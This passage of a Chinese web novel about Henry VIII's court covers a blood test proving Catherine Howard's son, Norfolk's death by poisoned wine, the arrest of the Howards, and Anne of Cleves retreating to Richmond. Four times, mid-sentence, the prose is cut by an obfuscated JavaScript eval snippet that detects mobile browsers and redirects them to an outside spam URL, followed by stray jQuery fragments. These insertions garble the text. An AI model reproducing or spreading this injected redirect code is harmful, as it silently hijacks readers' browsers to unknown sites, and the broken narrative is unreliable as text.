时间在紧绷的空气中滑向深秋。格林威治宫的花园里，金黄的落叶铺满了小径。 凯瑟琳的肚子像吹气般一天天高高隆起，华贵的裙袍也难以完全掩饰那份沉甸。她脸上有了血色，诺福克和苏珊送来的珍馐补品源源不断。亨利偶尔会在玛丽的搀扶下，“路过”她的寝宫外，隔着门听御医钱伯斯禀报“胎儿强健，王后安好”。亨利浑浊的眼中会闪过一丝复杂的、难以言喻的光芒，是期待？是疑虑？无人能懂。 诺福克的腰板挺得更直了。他在枢密院重新拥有了座位（尽管是边缘），话语的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155931|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分量随着凯瑟琳的产期临近而日益加重。他看向西摩兄弟的眼神，充满了毫不掩饰的轻蔑和报复的快意。爱德华·西摩越发沉默阴郁，托马斯则依旧挂着那副玩世不恭的笑脸，只是眼底的寒冰越来越厚。 终于，在一个狂风骤起的深夜，格林威治宫被一声凄厉的尖叫撕裂！ “啊——！” 凯瑟琳·霍华德的寝宫瞬间灯火通明，人影慌乱奔走。痛苦的嘶喊一阵高过一阵，穿透厚重的宫墙。 “要生了！王后要生了！” 喊声如同投入滚油的火星，瞬间点燃了整个死寂的宫廷。 亨利八世被惊醒，巨大的身躯猛地坐起，痛风带来的剧痛让他瞬间冷汗涔涔。“药！给朕药！”他嘶吼着，布满血丝的眼睛死死瞪着凯瑟琳寝宫的方向。 玛丽公主第一个冲到了产房外。她深色的裙裾像一片不祥的乌云，盘踞在紧闭的雕花木门前。里面是凯瑟琳撕心裂肺的哭喊和产婆们急促的指令声。 托马斯·西摩悄无声息地出现在长廊的另一端，斜倚着冰冷的石柱，蓝色的眼眸在昏暗的光线下亮得惊人，像等待猎物的夜枭。诺福克公爵也在侍卫的簇拥下匆匆赶来，老脸上交织着狂热的期待和一丝不易察觉的紧张。爱德华·西摩则站在更远的阴影里，像一尊沉默的石像。 时间在煎熬中一点点流逝。凯瑟琳的喊声渐渐变得嘶哑、微弱。突然，一声嘹亮、尖锐、充满生命力的啼哭，如同利剑般刺破了所有的嘈杂和压抑的等待！ “生了！生了！是个王子！” 产房内爆发出惊喜的呼喊。 诺福克紧绷的老脸瞬间被狂喜淹没，他激动地抓住身边侍卫的手臂，几乎要老泪纵横：“天佑霍华德！天佑英格兰！” 托马斯·西摩嘴角那抹玩味的笑意加深了，他直起身，目光如同精准的箭矢，投向那扇即将开启的房门。 亨利挣扎着想要下床，被内侍死死拦住：“陛下！您不能动啊！御医马上就来禀报！” 就在这时，产房的门“吱呀”一声被推开。然而，抱着襁褓第一个走出来的，并非接生嬷嬷，而是玛丽公主！ 她脸色苍白得吓人，深陷的眼窝里燃烧着一种近乎疯狂的、冰冷的火焰。她怀中的明黄色襁褓里，一张皱巴巴的小脸露在外面，稀疏的胎发紧贴着头皮，在明亮的烛火下，呈现出一种与亨利耀眼的金发、与凯瑟琳的浅金发都截然不同的、柔和的深棕色！ 玛丽抱着婴儿，如同抱着一个即将引爆的炸弹，一步一步，踏着沉重的步伐，在所有人惊愕、疑惑、恐惧的目光注视下，径直穿过长廊，走向灯火通明、乐声未歇的宴会大厅！那里，不知情的贵族们仍在举杯欢庆“王子”的诞生！ 她身后的产房门口，接生婆玛莎脸色惨白如鬼，瘫软在地，被两个玛丽带来的、身强力壮的旧教嬷嬷死死按住。 诺福克脸上的狂喜瞬间冻结，化为难以置信的惊恐：“玛丽殿下！您这是……” 玛丽没有回头，也没有停下脚步。她抱着啼哭的婴儿，如同复仇女神降临尘世，在死寂一片的宴会厅中央站定。璀璨的水晶吊灯将她和怀中的婴儿照得无所遁形。 她抬起头，冰冷刺骨的目光穿透人群，精准地投向主位上闻讯匆匆赶来的、被侍卫搀扶着的亨利八世。她的声音不高，却如同惊雷，炸响在每一个人的耳边，带着玉石俱焚般的决绝： “父王！” 她高高托起怀中那个有着深棕色头发的婴儿，“请陛下，当廷验血——以证此子血脉！看他究竟是否我亨利·都铎的骨肉！是否配得上这英格兰的王座！” 42. 血与火 水晶吊灯的光华在银碗边缘碎成一片寒星。 亨利八世那根粗壮、因痛风和暴怒而颤抖的手指悬在碗口上方。一滴浓稠、暗红的血珠，在指尖凝聚、拉长，终于承受不住重量，无声地坠落。 “嗒。” 血滴坠入碗中澄清的圣水，如同烧红的铁块落入冰湖。瞬间的沉寂被无限拉长，所有人的呼吸都停滞了，目光死死锁在那小小的银碗里。 那滴属于都铎暴君的血，沉入水底，并未立刻散开，像一颗凝固的红宝石。 接生婆玛莎被粗暴地推到碗前。她抖如筛糠，粗糙的手指被利刃划开，另一滴鲜红的血被挤出，滴落。 “嗒。” 两滴血，一颗沉于底，一颗悬于中，在圣水里泾渭分明。 玛丽公主惨白的脸上掠过一丝扭曲的快意。诺福克公爵喉结滚动，浑浊的老眼死死盯着碗底。 一秒……两秒…… 就在托马斯·西摩几乎要控制不住嘴角那抹冰冷弧度时—— 碗底那颗属于亨利的血滴，极其缓慢地、如同活物般向上浮动了一瞬，轻轻触碰到玛莎那滴悬在中间的血！紧接着，两滴血像被无形的力量拉扯，边缘瞬间模糊、交融！暗红的色泽迅速蔓延开来，将整碗圣水染成一片浑浊的、令人心悸的暗红！ 血，融了！ “圣母玛利亚！” 一声嘶哑的尖叫划破死寂。是玛丽公主。她踉跄后退，撞翻了身后侍从捧着的烛台，烛火滚落在地毯上，瞬间点燃一小片猩红。她死死捂住嘴，深陷的眼窝里是极致的震惊、茫然和信仰崩塌的恐惧！滴血验亲，这源自古老教义的“神圣”证明，在她眼前、在上帝见证的圣水中，宣告了那个野种……竟流着父王的血？！这不可能！这亵渎！这一定是魔鬼的诡计！ “神迹！天佑吾王！天佑都铎！” 诺福克公爵爆发出震耳欲聋的狂吼，枯瘦的身体因激动而剧烈颤抖，他猛地跪倒在地，朝着主位上的亨利，额头重重磕在冰冷坚硬的大理石地面上，“陛下！圣血相融！此乃上帝亲证！此子确系陛下龙裔！是英格兰未来的国王！霍华德家族蒙受不白之冤，今日终得昭雪！陛下圣明！万岁！万岁！万万岁！” 他的声音带着哭腔，充满了劫后余生的狂喜和对命运翻盘的极度亢奋。 他猛地抬头，怨毒如毒蛇的目光狠狠刺向瘫软在地、面无人色的玛丽公主，声音陡然拔高，尖利如夜枭：“玛丽·都铎！你假借圣名，污蔑王后，构陷忠良，更欲戕害龙裔！其心可诛！陛下！此等恶行，形同弑父弑君！请陛下严惩此獠，以正国法！以儆效尤！” “不！假的！这血有问题！是妖术！” 玛丽猛地抬起头，失魂落魄地尖叫，她的世界在这一刻彻底颠覆，狂热的信仰在“神迹”面前碎成了齑粉，只剩下被反噬的、巨大的恐慌和歇斯底里。她指着银碗，又指向被旧教嬷嬷按住的玛莎，“是她！是这个贱婢做了手脚！还有西摩！是他们联手……” “够了！” 一声仿佛来自地狱深处的咆哮，压过了所有的喧哗、指控和尖叫。 亨利八世巨大的身躯从王座上猛地站起，带倒了沉重的鎏金座椅，发出轰然巨响。他布满血丝的眼睛如同烧红的炭球，死死盯着银碗里那片浑浊的暗红，又猛地扫过状若癫狂的玛丽、狂喜跪拜的诺福克、阴影中眼神晦暗不明的托马斯·西摩……最后，他的目光定格在玛丽身上，那里面没有任何属于父亲的情感，只有被彻底愚弄的滔天暴怒和一种冰冷的、毁灭一切的杀机！ “妖术？弑君？” 亨利的声音嘶哑得可怕，每一个字都像裹着冰碴，“朕亲眼所见！圣水为证！圣血相融！这是上帝的旨意！玛丽·都铎！” 他巨大的手指如同索命的铁钩，直指玛丽，“你！听信谗言，构陷王后，污蔑龙裔！更在神圣的验亲之时，妄图以妖言惑众，颠倒黑白！你眼中还有没有上帝！还有没有朕这个父王！还有没有这都铎的江山！” 他因暴怒而浑身颤抖，巨大的头痛如同重锤猛击他的太阳穴，眼前阵阵发黑。他猛地按住额头，身体晃了一下，旁边的侍卫慌忙搀扶。 “陛下！” 诺福克膝行上前，声音充满“痛心疾首”，“长公主殿下定是被奸人蒙蔽！西摩家罪该万死！是他们蛊惑殿下，构陷王后与臣……” “托马斯·卡尔佩珀！” 亨利根本不理诺福克，他血红的眼睛如同探照灯般扫过人群，最终锁定在角落里一个面无人色、试图缩进阴影里的英俊青年——凯瑟琳王后曾经的侍卫，传闻中的情人。 “给朕拿下这个□□宫廷、秽乱龙榻的逆贼！” 亨利的咆哮震得水晶灯疯狂摇曳，“拖出去！立刻！马上！送他上伦敦塔的断头台！朕要他的头！现在就要！” “陛下饶命！陛下！我和王后是清白的！陛下——” 卡尔佩珀魂飞魄散，凄厉的求饶声被如狼似虎扑上来的瑞士卫队粗暴打断。铁钳般的手抓住他的胳膊，将他像死狗一样拖离地面，佩剑的鞘柄狠狠捣在他的腹部，让他瞬间失声，只剩下痛苦的呜咽。他的金发在挣扎中散乱，昂贵的丝绒外套被撕破，靴子在光洁的地板上刮擦出刺耳的声音，被一路拖向殿外无边的黑暗。那里，通往伦敦塔的死亡马车已在等候。 “至于你……” 亨利用尽最后的力气，布满血丝的眼睛转向瘫倒在地、眼神空洞的玛丽，那目光冰冷得没有一丝温度，“禁足！给朕滚回你的祈祷室！没有朕的旨意，终生不得踏出一步！好好向你的上帝忏悔你的罪孽！” 他喘着粗气，巨大的头痛和暴怒耗尽了刚刚恢复的一点精力，“看着她就烦！拖走！” 两个强壮的嬷嬷立刻上前，毫不客气地架起失魂落魄的玛丽。她深色的裙裾拖在地上，像一面被扯碎的、象征着失败和囚禁的旗帜。她甚至没有挣扎，任由自己被拖离这见证了她彻底崩塌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155932|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的殿堂，经过安妮身边时，那双曾经燃烧着狂热火焰的眼睛，只剩下死灰般的空洞和茫然。 一场盛大的、庆祝“王子”诞生的宫廷宴会，瞬间变成了血腥的审判场和囚笼。 诺福克公爵依旧跪在地上，低着头，嘴角却难以抑制地向上扯动，一个混合着狂喜、怨毒和无比得意的狰狞笑容在他枯槁的脸上蔓延开。赢了！他赌赢了！靠着那个深棕色头发的“意外”，靠着这滴血认亲的“神迹”，他不仅绝地翻盘，更将死对头西摩家打入深渊，连带着那个碍眼的疯女人玛丽也被终身囚禁！霍华德的荣耀，将在这个“王子”身上达到前所未有的巅峰！ 阴影里，托马斯·西摩脸上的玩味笑容早已消失无踪。他看着卡尔佩珀被拖走的绝望身影，看着玛丽如同行尸走肉般被架离，最后，目光落在主位上喘着粗气、眼神狂乱而偏执的亨利身上，又扫过跪在地上、背影都透着得意忘形的诺福克。他蓝色的眼眸深处，翻涌的不再是寒冰，而是足以焚毁一切的烈焰！计划失败了，但游戏远未结束。他需要新的棋子，更致命的一击。他的目光，如同淬毒的箭矢，无声地穿透混乱的人群，锁定了那个悄然退向大厅边缘的、抱着空药盒的身影——安妮·克里夫斯。以及……她身后所代表的，里士满。 安妮只觉得那道目光如同实质的冰锥，刺得她脊背生寒。她抱着药盒的手指冰凉，几乎麻木。滴血认亲的荒诞“成功”，卡尔佩珀的凄惨下场，玛丽的终身囚禁，诺福克毫不掩饰的狂喜与即将膨胀到极致的野心，还有托马斯·西摩眼中那毫不掩饰的、择人而噬的疯狂……这一切都让她感到窒息般的危险。 风暴不仅没有平息，反而在“神迹”的假象下，酝酿着更恐怖、更血腥的撕裂！下一个目标是谁？伊丽莎白？里士满？还是她自己？ 她必须立刻离开这个吞噬人心的魔窟！ 趁着侍卫忙着清理卡尔佩珀留下的痕迹，趁着诺福克还在“虔诚”跪拜，趁着亨利被头痛折磨得闭目喘息，安妮抱着她的药盒，像一尾滑溜的鱼，悄无声息地退出了这金碧辉煌、却弥漫着浓烈血腥与疯狂气息的宴会厅。 冰冷的夜风瞬间包裹了她，吹散了殿内令人作呕的混合气味。她没有丝毫停留，甚至顾不上等候老约翰安排的马车，提起裙摆，朝着马厩的方向，在铺满落叶、被月光照得一片惨白的小径上，不顾一切地奔跑起来。裙裾扫过枯叶，发出簌簌的声响，像亡命的鼓点。 胡椒狗低呜一声，敏锐地跟了上来，温热的身体紧贴着她奔跑的小腿。 她必须回去！立刻！马上！回到里士满，回到伊丽莎白身边！格林威治宫的丧钟，似乎已经在她狂奔的脚步声中隐隐敲响，为卡尔佩珀，为被囚禁的玛丽，也为这即将被彻底点燃的、由野心、谎言和疯狂浇筑而成的火药桶。而她和她的“安娜国”，此刻成了风暴眼中最显眼、也最脆弱的目标。 43. 毒酒与落幕 冰冷的夜风像刀子刮在脸上，安妮却感觉不到。她抱着空药盒，在铺满落叶的宫廷小径上狂奔，裙摆被枯枝勾破也浑然不觉。宴会厅里那场滴血认亲的荒诞闹剧、卡尔佩珀绝望的哀嚎、玛丽空洞的眼神、诺福克毫不掩饰的狂喜、还有托马斯·西摩那双淬了毒般盯着她的蓝眼睛……这一切在她脑子里搅成一锅滚烫的、令人作呕的浓浆。 胡椒狗紧跟在她脚边，喉咙里发出急促的低呜，湿润的鼻子不断拱着她冰凉的手。 “快！约翰大叔！”安妮冲进马厩，气息不稳地对早已等候在此的老约翰低喊，声音带着她自己都未曾察觉的颤抖。 老约翰二话不说，立刻解开缰绳。安妮几乎是手脚并用地爬上马车，刚坐稳就急促地吩咐：“回里士满！最快的路！不要停！” 车轮碾过石板路，骨碌碌的声响在寂静的深夜里格外刺耳。安妮紧紧抱着药盒，仿佛那是唯一的盾牌。她撩开窗帘一角，格林威治宫那灯火辉煌、却如同巨兽蛰伏的轮廓在夜色中迅速后退，像一座正在沉没的、布满尖刺的岛屿。 “夫人，宫里……”老约翰低沉的声音从车辕传来。 “霍华德赢了。”安妮的声音干涩，“滴血认亲，血融了。卡尔佩珀被拖去伦敦塔，玛丽殿下……被陛下下令终生禁足祈祷室。”她顿了顿，艰难地补充，“诺福克公爵……气焰正盛。” 老约翰沉默地挥了一鞭，马匹跑得更快。不需要更多言语，格林威治宫已成炼狱，而刚刚被诺福克视为眼中钉的里士满，此刻就是风暴眼中最危险的靶子。 * * * 诺福克公爵托马斯·霍华德枯槁的脸上，那抹因狂喜而扭曲的笑容尚未完全褪去。他坐在自己奢华的书房里，壁炉里的火焰熊熊燃烧，映得他手中的金杯熠熠生辉。杯中盛满了陛下刚刚“赐下”的、最顶级的波尔多陈酿——这是对他“沉冤昭雪”、对“王子”诞生的恩赏，更是对他霍华德家族即将重回权力巅峰的肯定！ “哼，西摩？玛丽？”诺福克对着摇曳的烛火冷笑，声音嘶哑，“不自量力的东西！想扳倒霍华德？做梦！”他仿佛已经看到自己怀抱那个深棕色头发的“王子”，站在年幼的爱德华身边，成为英格兰真正的摄政王！霍华德的荣耀将在他手中攀上无人能及的高峰！ 他志得意满地举起金杯，杯中美酒如同流动的红宝石。他深吸一口那醇厚的酒香，带着胜利者的陶醉，将杯中物一饮而尽！ 辛辣醇厚的液体滑过喉咙，带来一阵短暂的灼热快意。然而，这快意仅仅维持了不到一息！ 一股难以言喻的、如同烧红铁钎猛地捅进胃里的剧痛，毫无征兆地轰然爆发！诺福克脸上的得意瞬间凝固，化为极度的痛苦和难以置信的惊骇！ “呃啊——！”他发出一声短促而凄厉的惨叫，金杯“当啷”一声脱手坠落，滚烫的酒液泼洒在昂贵的波斯地毯上。 剧痛！那根本不是醉酒的感觉！是无数烧红的钢针在他腹内疯狂搅动、穿刺！他枯瘦的身体猛地从椅子上弓起，像一只被扔进沸水的虾米，双手死死抠住自己的腹部，指甲几乎要嵌进皮肉里！ “嗬……嗬……” 他喉咙里发出破风箱般的嗬嗬声，眼球因剧痛而暴突，布满恐怖的血丝！他想喊人，想呼救，但那股腥甜的铁锈味已经如同决堤的洪水，猛地冲上喉头！ “噗——！” 一大口粘稠、暗红发黑、散发着刺鼻腥臭的血液，如同喷泉般从他口中狂喷而出！溅满了书桌上摊开的羊皮地图、溅满了先祖画像冰冷的脸颊、也溅满了地上那滩泼洒的红酒，混合成一片更加诡异、更加惨烈的暗红！ 这仅仅是开始！剧烈的痉挛让他无法控制身体，鲜血混合着胃里的酒液和食物残渣，如同开闸的洪水，不断从口鼻中疯狂涌出！紧接着，眼角、鼻孔、耳孔……也开始渗出暗红的血丝！ “呃……嗬……” 诺福克像一条离水的鱼，在血泊和呕吐物中疯狂地抽搐、扭动、翻滚。他枯瘦的手指在冰冷的地板上绝望地抓挠，发出令人牙酸的“咯吱”声，留下道道带血的指痕。他那双浑浊的老眼瞪得极大，里面充满了极致的痛苦、巨大的、无法理解的惊骇——是谁？！陛下？西摩？还是……那个他一直没放在眼里的德意志女人？！意识在无边的剧痛和迅速流失的生命力中沉沦、破碎。 壁炉里的火焰依旧跳动着温暖的光芒，映照着这地狱般的景象。曾经权倾朝野的诺福克公爵，如同一堆被彻底拆散的、沾满污秽的枯骨，蜷缩在自己引以为傲的权力象征之地。他的身体在最后一次剧烈的、仿佛要挣脱灵魂束缚的抽搐后，终于彻底瘫软在冰冷粘稠的血泊中，一动不动了。眼睛依旧瞪得极大，空洞地望着书房彩绘天花板上描绘的家族徽章——那只展翅的雄鹰，凝固着无尽的痛苦、惊骇和……一丝彻底落幕的茫然。 霍华德家族这艘看似重获荣耀的巨轮，在刚刚驶出港湾的瞬间，就被来自深渊的毒刺彻底凿穿了船底，带着它的掌舵者，急速沉入冰冷黑暗的死亡之海。 * * * 几乎在诺福克公爵毒发身亡的同时，格林威治宫几处专供霍华德家族核心成员居住的奢华套房，被沉重的、有节奏的敲门声惊醒。 “开门！奉国王陛下旨意！” 门被粗暴地撞开。睡眼惺忪、穿着丝绸睡袍的霍华德男人们，脸上还残留着宴会狂欢后的疲惫和家族翻盘的得意，瞬间被眼前全副武装、眼神冰冷的瑞士卫兵吓得魂飞魄散！ “你们干什么？！我是霍华德勋爵！陛下刚刚……” “拿下！” 冰冷的命令打断任何辩驳。 如狼似虎的卫兵一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155933|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拥而上，根本不给任何反应时间。挣扎？呵斥？在绝对的力量面前如同螳臂当车。精钢打造的锁链瞬间扣上手腕，沉重的力道几乎勒断骨头。尖叫和怒骂被粗暴地扼杀在喉咙里，只剩下面如土色的绝望和难以置信的惊恐。女眷和孩童的哭喊声在深夜里显得格外凄厉刺耳。 没有审判，没有罪名宣告。只有冷酷的执行。这些几个小时前还在宴会上觥筹交错、享受着胜利荣光的霍华德核心成员，像一群待宰的牲口，被粗暴地从温暖的被窝里拖出，塞进早已等候在宫门外、没有窗户的封闭马车里。马车立刻启动，车轮碾过石板路，骨碌碌的声音消失在通往伦敦塔方向的沉沉夜幕中。等待他们的，将是比诺福克公爵更漫长的黑暗囚禁，直至被世人遗忘。 * * * 凯瑟琳·霍华德华丽的寝宫，此刻像一个巨大的、冰冷的金丝鸟笼。外面隐隐传来的骚动和哭喊声，如同鬼魅的低语，穿透厚重的门扉，钻进她的耳朵。 她抱着那个深棕色头发、刚刚吃饱睡着的小婴儿，蜷缩在巨大的床榻深处。诺福克舅舅那狰狞得意的笑容、滴血认亲时那碗刺目的暗红、还有陛下最后看向她时那复杂难辨的目光……这一切都让她感到一种不真实的眩晕。她赢了？她和她的孩子，安全了？ 一个贴身侍女脸色惨白如纸，跌跌撞撞地冲了进来，甚至顾不上行礼，声音抖得不成样子：“殿……殿下！不好了！公爵大人……公爵大人他……” 凯瑟琳的心猛地一沉，一种不祥的预感瞬间攫住了她：“舅舅怎么了？快说！” 侍女扑通一声跪倒在地，泪如雨下，声音充满了恐惧：“公爵大人……在书房……暴毙了！七窍流血！死状……死状极惨！还有……还有几位勋爵老爷和夫人……被……被陛下的卫兵抓走了！全都抓走了！塞进马车带走了！” 轰！ 仿佛一道惊雷在凯瑟琳头顶炸开！她怀中的婴儿似乎也感受到了巨大的恐惧，哇的一声啼哭起来。 诺福克舅舅……死了？霍华德家的人……被抓了？刚刚还在天堂，转瞬就坠入地狱？巨大的恐惧如同冰冷的巨手，死死扼住了她的喉咙！她刚刚获得的“护身符”——怀中的婴儿——此刻仿佛变成了一个滚烫的、随时会爆炸的烙铁！没有了诺福克舅舅，没有了霍华德家族的支持，她这个靠着“神迹”和“意外”保住性命的王后，在这吃人的宫廷里，还能活几天？ “哇——哇——” 婴儿的啼哭声在空旷死寂的寝宫里回荡，显得格外刺耳和绝望。凯瑟琳浑身冰冷，紧紧抱着啼哭的孩子，像抱着最后一根救命稻草，又像是抱着一个即将把她拖入深渊的恐怖之源。金丝雀的羽毛凌乱不堪，华丽的牢笼在胜利的巅峰瞬间化作了冰窖。刚刚升起的虚假希望，被彻底碾碎，只剩下无边无际的、冰冷刺骨的恐惧。 44. 暗流涌动 里士满城堡厚重的橡木门在身后轰然关闭，隔绝了格林威治宫的血腥与疯狂。安妮背靠着冰冷粗糙的门板，剧烈的心跳撞击着胸腔，几乎要破膛而出。胡椒狗焦急地围着她打转，湿润的鼻子不断蹭着她冰凉的手。 “老师！” 伊丽莎白从昏暗的回廊深处飞奔而来，灰绿色的眼眸在摇曳的烛光下盛满了担忧。她小小的手紧紧抓住安妮冰冷的手指，传递着微弱的暖意。 安妮深吸一口气，强迫自己从奔逃的惊悸中抽离。她反手握住伊丽莎白的手，声音尽量平稳：“贝丝，没事了。我们回来了。” 但她的目光越过伊丽莎白的头顶，与匆匆迎上来的老约翰眼神交汇的刹那，凝重如铁。 “夫人……”老约翰的声音低沉紧绷。 “召集所有人，议事厅。”安妮打断他，声音带着不容置疑的决断。风暴的余波正裹挟着致命的冰锥，急速扑向里士满这座看似宁静的孤岛。 * * * 格林威治宫的清晨笼罩在一种诡异的平静之下。昨夜的腥风血雨似乎被刻意抹去，但空气中残留的铁锈味和压抑的死寂，无声地宣告着剧变。 国王亨利八世的寝宫大门紧闭。御医钱伯斯刚刚离开，脸上带着深深的疲惫和一丝不易察觉的忧虑。新送来的高纯度“舒络蜜”似乎效果减弱了，陛下的痛风发作得更频繁、更剧烈，脾气也如同濒临喷发的火山，一点火星就能引发滔天怒火。 托马斯·西摩坐在亨利床边一张临时搬来的鎏金靠背椅上，姿态恭谨，却隐隐占据着最靠近权力核心的位置。他英俊的脸上带着恰到好处的关切，将一杯温度适宜的蜜水递到亨利唇边。 “陛下，请保重龙体。”托马斯的声音温和低沉，像安抚一头焦躁的雄狮，“诺福克那老贼胆大包天，竟敢在御赐酒中下毒自绝，死有余辜！霍华德余孽也已尽数清除，陛下可以安心静养了。” 亨利浑浊的眼睛半睁着，粗重的呼吸带着痰音。他烦躁地挥开托马斯递过来的水杯，蜜水泼洒在昂贵的东方地毯上。“毒……酒……”他含混地挤出几个字，布满血丝的眼睛死死盯着托马斯，“谁……查？！” 托马斯微微躬身，蓝色的眼眸深处闪过一丝精光：“陛下放心，枢密院已在彻查。定是诺福克自知罪孽深重，畏罪自杀，妄图混淆视听！他府邸已被查封，所有往来信件、账目都在核查之中。”他巧妙地避开了具体指向，将焦点牢牢锁定在“畏罪自杀”上。“只是……”他话锋一转，声音带着一丝“忧虑”，“那孩子……该如何安置？毕竟……是王后所出，又经圣血亲证……” 提到那个深棕色头发的婴儿，亨利浑浊的眼中瞬间爆发出骇人的暴戾和深深的厌恶！那孩子，是他被愚弄的耻辱柱，是霍华德野心的残渣！他猛地咳嗽起来，枯瘦的手指向门口，声音嘶哑破碎：“扔……扔出去！那个贱人……一起……扔出去！朕……不想再看到他们！永远不想！” “是，陛下。”托马斯恭敬地应下，嘴角勾起一抹几不可察的冰冷弧度。他等的就是这句话。“臣会妥善处理，绝不让陛下烦心。”他顿了顿，仿佛不经意地补充，“只是，里士满的安妮夫人……昨夜宴会似乎受了惊吓，匆匆离席。她调制‘舒络蜜’的技艺无人能及，陛下龙体要紧，是否……” “让她……炼！”亨利喘着粗气，头痛欲裂，只想摆脱一切烦扰，“药……不能停！告诉她……好好待在里士满……炼药！别……别惹事！” 他现在只关心能压制那蚀骨疼痛的药汁，至于安妮在哪里、做什么，只要不惹麻烦、按时供药，他根本无暇顾及。 托马斯得到了想要的答案，眼底的算计更深。他优雅地起身：“臣这就去安排，请陛下安心休养。” 他转身离开寝宫，步伐从容。走廊里，等候多时的威廉立刻跟上。 “大人，里士满那边……”威廉压低声音。 “派一队‘可靠’的人去。”托马斯的声音冰冷，没有一丝波澜，“把那个女人和那个野种，‘妥善’送到最偏远的约克郡修道院去。告诉嬷嬷们，好好‘照顾’，让他们……安安静静地活着。” 他口中的“照顾”和“安静”，透着令人不寒而栗的意味。凯瑟琳和那个孩子，将成为他手中永远不见天日、却又可能在未来某个时刻被翻出来的底牌。 “是！”威廉领命。 托马斯停下脚步，目光投向窗外阴沉的天空，那里正对着里士满的方向。“还有，”他嘴角那抹冰冷的弧度加深，“给里士满的安妮夫人送份‘礼物’去。陛下‘恩赏’的，庆祝霍华德这颗毒瘤被彻底剜除……顺便，提醒她，陛下的药，该送新的了。” 恩赏是糖衣，提醒是炮弹。他要让那个女人知道，谁才是现在能决定她命运的人。 * * * 里士满城堡议事厅内，气氛凝重如铅。 听完安妮对昨夜惊魂和格林威治宫剧变的讲述，酒坊主管老汤姆拳头捏得咯咯响：“毒酒？七窍流血？诺福克这老混蛋死有余辜！可……可这手段也太狠了！是谁干的？” “是谁不重要了，”老约翰面色沉郁，眼神锐利，“重要的是，霍华德倒了，西摩起来了！托马斯·西摩！那个笑面狐狸现在成了陛下床边最近的人！他派人把凯瑟琳王后和那孩子秘密押走了，去向不明！下一个，他会盯上谁？” 所有人的目光，不约而同地投向了坐在安妮身边、小脸紧绷的伊丽莎白。 安妮将伊丽莎白的手握得更紧，仿佛要传递给她所有的力量。“贝丝，”她的声音异常清晰坚定，“从今天起，没有我的允许，你不准离开城堡塔楼一步。观星台暂时关闭。你的课程，由我亲自在塔楼书房教授。约翰大叔，城堡所有出入口，加派双岗。巡逻队，昼夜不停。任何陌生面孔靠近里士满地界，立刻回报！” “是，夫人！”老约翰和老汤姆齐声应道，神情肃穆。 就在这时，一名守卫匆匆跑进议事厅：“夫人！格林威治宫来人了！是托马斯·西摩爵士的侍从威廉！带着……带着礼物，说是奉陛下和西摩爵士之命，庆贺霍华德覆灭，并……并询问新一批‘舒络蜜’何时能送到宫中。” 该来的，终究来了。 安妮松开伊丽莎白的手，站起身，脊背挺得笔直，脸上所有的焦虑和疲惫瞬间被一种沉静如水的从容取代。“请威廉先生去会客厅稍候，我即刻就到。”她转头对老约翰低语， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155934|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “准备好上次那份‘加冕蜜’的原浆，用最普通的陶罐装，封好。另外，新炼的‘舒络蜜’……只准备三天的量，浓度……按最初的标准。” 她要让对方看到里士满的“恭顺”，看到“舒络蜜”的“正常供应”，更要让对方知道，她手里握着陛下离不开的东西，而这东西的“配方”和“足量”，只在她一念之间。这是她唯一的筹码。 会客厅里，威廉背着手，看似随意地打量着墙上挂着的胡椒狗徽记挂毯，眼神却带着审视。听到脚步声，他转过身，脸上堆起训练有素的恭敬笑容：“安妮夫人，日安。托马斯爵士命我代陛下和爵士本人，向您致以问候，并送上这份小小的贺礼，庆贺霍华德这颗毒瘤被陛下英明铲除。”他示意身后侍从捧上一个盖着红绒布的托盘。 安妮微微颔首，目光平静地扫过托盘：“西摩爵士费心了。陛下和爵士的恩典，我铭记于心。”她示意老约翰接过托盘，并未掀开查看。 威廉脸上的笑容不变，话锋却陡然一转，带着一丝不容错辨的压力：“爵士还让我问问夫人，陛下的‘舒络蜜’……宫中存货已不多。陛下龙体为重，不知新的一批，何时可以备妥？爵士甚是挂念。” 他的目光紧紧锁住安妮的脸。 